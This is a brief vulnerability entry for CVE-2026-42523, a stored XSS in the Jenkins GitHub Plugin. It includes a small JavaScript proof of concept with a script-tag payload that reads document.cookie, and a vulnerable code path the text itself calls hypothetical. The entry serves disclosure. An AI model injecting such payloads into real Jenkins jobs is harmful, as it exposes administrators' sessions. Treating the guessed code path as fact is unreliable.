CVE-2026-42523 Jenkins GitHub Plugin 存储型XSS漏洞

// Proof of Concept for CVE-2026-42523 // Exploit: Stored XSS via Job URL in GitHub Plugin // Attacker injects malicious payload into the Job Name or URL parameter var maliciousPayload = '"><script>alert(document.cookie)</script>'; // The vulnerable plugin constructs JavaScript for validation using the Job URL // Hypothetical vulnerable code flow: // var currentJobUrl = "/job/" + maliciousPayload + "/"; // document.write("Validating hook for: " + currentJobUrl); // When an admin views the job configuration or related page, // the payload executes in the context of the admin's session. console.log("Payload injected: " + maliciousPayload);